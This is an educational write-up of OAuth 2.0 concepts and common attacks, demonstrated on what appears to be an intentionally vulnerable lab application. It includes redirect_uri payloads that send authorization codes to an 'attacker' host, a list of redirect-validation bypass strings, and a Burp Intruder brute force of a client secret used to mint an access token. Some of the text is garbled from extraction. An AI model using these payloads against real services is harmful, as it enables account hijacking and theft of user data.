



OAuth 2.0 Implementation and Security

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INTRODUCTION

OAuth2 is the main widely used web standard for authorization between services and this paper will discuss OAuth2 implementation and security implications in very simple terms.

OAUTH2 OVERVIEW 1.1

Before we explain OAuth2, let's explain the simplest form of authentication where the user logs in using a username and a password which has downsides like maintenance and security e.g. when the security changes regarding hashing used in the authentication is changed and so on that's why OAuth2 and OpenID Connect are becoming the industry best practices for solving these problems.

There are a number of credential use cases e.g.

- Simple login (forms and cookies)
- Single Sign-On across sites (SAML)
- Mobile App Login
- Delegated authorization

With the new credential use cases like mobile app login and delegated authorization came other issues like cookies in mobile app login is not effective and limited that's why OAuth and OpenID Connect came to solve these problems.

OAuth2 is considered to be access delegation framework used to provide application access to other applications without password sharing, and there is a huge misconception between OAuth2 and OpenID Connect, as the latter is considered to be an authentication protocol, whereas OAuth2 is considered to be an authorization protocol. They both work in very similar pattern, as OpenID Connect is an extension to OAuth2.

In the past, there was a number of quite well-known websites e.g. Yelp that was asking for your Email credential e.g. Gmail to log in on behalf of you to do a specific task e.g. checking your contacts which was a real problem as you should have trusted a startup company back in the time like Yelp with your credentials and this is what we call an access delegation which OAuth2 solves it for us without sharing your password with any 3rd party companies.





OAUTH2 JARGONS 1.2

Before we go any further, we need first to fully understand the OAuth2 jargons to study OAuth2 implementation and security implications.

OAuth components are

- Back Channel
 - It's the backend like the servers which is considered to be a highly secured channel
- Front Channel
 - It's the frontend like the browsers which is a less secured channel
- o Resource Owner
 - It's the entity that can grant access to a protected resource, typically us as users
 - Usually we provide in our request with the following parameters to exchange authorization code with an access token in the back channel to talk to resource server
 - Redirect_url
 - This is where the authorization server will redirect resource owner after having created an authorization code
 - Scope
 - This is the access level that the client needs
 - Response type
 - If the response type is code, then we will use authorization code grunt
 - Client id
 - It's an identifier that represents the client application
- o Client
 - It's the application requesting access to a protected resource on behalf of the resource owner, in our case is e.g. Yelp
- Resource Server
 - It's the server hosting the protected resources, it's the API you want to access e.g. the server which has our contacts information on Google
- Authorization Server
 - The server that authenticates the resource owner, and issues an access token after getting a proper authorization, and sometimes it is called identity provider
- o Authorization Grant
 - It's the proof that the resource owner that allow to do whatever in scope
- o Access Token
 - A long string of characters that serves as a credential used to access protected resources
- o Protected Resource
 - Data owned by the resource owner. For example, the user's contact list, account information, or other sensitive data





- o Refresh Token
 - They are credentials used to obtain access tokens. Refresh tokens are issued to the client by the authorization server and are used to obtain a new access token when the current access token becomes invalid or expires, or to obtain additional access tokens with identical or narrower scope (access tokens may have a shorter lifetime and fewer permissions than authorized by the resource owner).

OAuth scopes are actions or privileges requested from the service and visible from the scope parameter sent by the client, which can be

- o READ
- o WRITE
- Access Contacts

OAUTH2 1.3

IMPLEMENTATION

Now let's discuss OAuth implementation and how it works.

In OAuth2, the interactions between the user and her browser, the Authorization Server, and the Resource Server can be performed in four different flows

- 1. The **authorization code grant**: The Client redirects the user (Resource Owner) to an Authorization Server to ask the user whether the Client can access her Resources. After the user confirms, the Client obtains an Authorization Code that the Client can exchange for an Access Token. This Access Token enables the Client to access the Resources of the Resource Owner.
- 2. The **implicit grant** is a simplification of the authorization code grant. The Client obtains the Access Token directly rather than being issued an Authorization Code.
- 3. The **resource owner password credentials grant** enables the Client to obtain an Access Token by using the username and password of the Resource Owner.
- 4. The **client credentials grant** enables the Client to obtain an Access Token by using its own credentials.

So basically, what we need to understand is the following

- Clients obtain Access Tokens via four different flows
- Clients use these Access Tokens to access an API

It's excellent to note that access token is almost always a bearer token, whereas some applications use JWT as access tokens.




Figure 1 OAuth2 code response type Workflow






• COMMON OAUTH2 ATTACKS

Let's go now through the most common OAuth2 Attacks

- We have a website that enables users to manage pictures named gallery (similar to flickr)
- We have a 3rd party website that allows users to print pictures hosted at the gallery site named photoprint

OAuth2 takes care of giving 3rd party applications permissions to access pictures.







UNVALIDATED 1.1

REDIRECTURI

PARAMETER

If the authorization server does not validate the redirectURI belonging to the client, it is susceptible to 2 types of attacks

- Open Redirect
 - An attacker could use the end-user authorization endpoint and the redirect URI parameter to abuse the authorization server as an open redirector. An open redirector is an endpoint using a parameter to automatically redirect a user agent to the location specified by the parameter value without any validation
- Account Hijacking
 - This can be done by stealing authorization codes, as they might be able to exchange it for an Access Token

This can be done by manipulating the redirect_uri parameter while OAuth2 client communicates with authorization endpoint e.g.

http://gallery:3005/oauth/authorize?response_type=code&redirect_uri=http%3A%2F%2Fattacker%3A13
37%2Fcallback&scope=view_gallery&client_id=photoprint

		Mozilla Firefox							
	oauth/a 🗙	+							
\leftrightarrow \rightarrow G	ŵ	(i) - -		/oauth/authc					er%2Fcallba
🛕 Kali Linux	🔨 Kali Training	🔨 Kali Tools	🧧 Kali Docs	🔨 Kali Forums	NetHunter	👖 Offensive Security	🛳 Exploit-DB	🝬 GHDB	MSFU
Hi admin,									
PhotoPrint wants to									
• View your photo gallery									
Do you app	rove?								
Allow	Deny								

Figure 2 consent screen asking for permission on access







If the redirect URI accepts external URLs, such as accounts.google.com, then use a redirector in that external URL to redirect to any website

https://accounts.google.com/signout/chrome/landing?continue=https://appengine.google.com/_ah/l
ogout?continue%3Dhttp://attacker:1337

Or you can use any of the regular bypasses

- o <u>http://example.com%2f%2f.victim.com</u>
- o <u>http://example.com%5c%5c.victim.com</u>
- o <u>http://example.com%3F.victim.com</u>
- o <u>http://example.com%23.victim.com</u>
- o <u>http://victim.com:80%40example.com</u>
- o <u>http://victim.com%2eexample.com</u>

Then based on the authorization code we stole; we will use it to brute force the client secret to later use to generate an access token to access protected resources

Burp Suite Community Edition v2020.1 - Temporary Project	_ = ×									
Burp Project Intruder Repeater Window Help										
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options										
$1\times 2\times 3\times 4\times \ldots$										
Target Positions Payloads Options										
Payload Positions Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details. Attack type: Simpler Interformation: Configure 100/1-000-Torra-urlencoded Content-transmission: Configure 100/1-000-Torra-urlencoded Content-transmission: Configure 100-1000-Torra-urlencoded Configure 100-1000-Torra-urlencode Configure 100-100	Start attack Add 5 Clear 5 Auto 5 Refresh									

Figure 4 Using Burp's Intruder we will brute force the client secret using stolen authorization code

				Intr	uder attack	3		_ = :
Attack Sav	/e Columns					_		
Results	Target Positions	Payloads	Option	s				
Citer Ohee	wing all items							
Filter: Shov	wing all items							(
Request	Payload		Status	Error	Timeout	Length	Comment	
41	secret		200			237		
0			401			179		
1	123456		401			179		
2	12345		401			179		
3	123456789		401			179		-
4	password		401			179		
5	iloveyou		401			179		
6	princess		401			179		
7	1234567		401			179		
8	12345678		401			179		
9	abcl23		401			179		
10	nicole		401			179		
11	daniel		401			179		
12	babygirl		401			179 170		
			200			174		
Request	Response							
Raw Pa	rams Headers	Hex						
1 POST /t	oken HTTP/1.1							
2 Host:	ionen minyara							
3 Content	-Type: applicati	on/x-ww-	form-urle	encoded				
	ion: close							
	-Length: 140							
6								
	.342&redirect_uri		2F%		05%	2Fcallb	<pre>back&client_id=photopr:</pre>	int&client_secret=secret&
grant_t	<pre>ype=authorizatio</pre>	on_code						
? <	+ > 7)	pe a search	i term					0 matches
47 of 92 📕								

Figure 5 we brute forced the client secret and received 200 status





Request Response							
Raw Headers Hex							
<pre>1 HTTP/1.1 200 0K 2 X-Powered-By: Express Content-Type: application/json 4 Cache-Control: no-store 9 Pragmas: no-cache 6 Date: Mon, 17 Feb 2020 14:58:22 GMT 7 Connection: close 8 Content-Length: 44 9 10 (*access_token*:33153,*token_type*:*Bearer*)</pre>							
Type a search term	0 matches						
53 of 92							

Figure 6 Using the client secret and authorization code combination we were able to generate an access token




Figure 7 we used the generated access token to access protected resources

Also, it's worth to mention that based on the complexity of access token, we might be able to brute force it to access other users active access tokens to access their protected resources in unlimited way using Burp's Intruder Attack.

WEAK 1.2 AUTHORIZATION CODES

If the authorization codes are weak, you might be able to guess it at the token endpoint.

This can be done by intercepting the request that OAuth2 sends to OAuth2 Authorization endpoint and send it to Burp's Sequencer and analyse it to know whether you are dealing with weak authorization codes or not.





Expiring unused authorization codes limits the window in which an attacker can use captured or guessed authorization codes.

This can be tested using Burp's plugin Session Timeout Test

AUTHORIZATION 1.4

CODE NOT LIMITED

TO ONE CLIENT

An attacker can exchange captured or guessed authorization codes for access tokens by using the credentials for another, potentially malicious, client.

This can be done by either guessing or obtaining authorization code for an OAuth2 client and exchange with another client

WEAK ACCESS AND 1.1 REFRESH TOKENS

It's important to analyse multiple captured tokens and note that it's very hard to capture access tokens for clients that are classic web-apps as these tokens are communicated over a back channel.

Always identify the location of token endpoint. Most OAuth2 servers with OpenID Connect and OAuth2 publish the locations of their endpoints at the following

https://targetURL/.well-known/openid-configuration
 https://targetURL/.wellknown/oauth-authorization-server

If such endpoint is not available, then the token endpoint is usually hosted at token.

It's very important that you make the request with valid authorization codes or refresh tokens and capture the resulting token, also keep in mind that client id and secret are required for this request which sometimes exist in the body of the request of in the Authorization header





• **R**ESOURCES

- 1. https://aaronparecki.com/oauth-2-simplified/
- 2. https://www.youtube.com/watch?v=996OiexHze0
- 3. https://github.com/koenbuyens/Vulnerable-OAuth-2.0-Applications
- 4. https://tools.ietf.org/html/rfc6819
- 5. https://tools.ietf.org/html/rfc6749

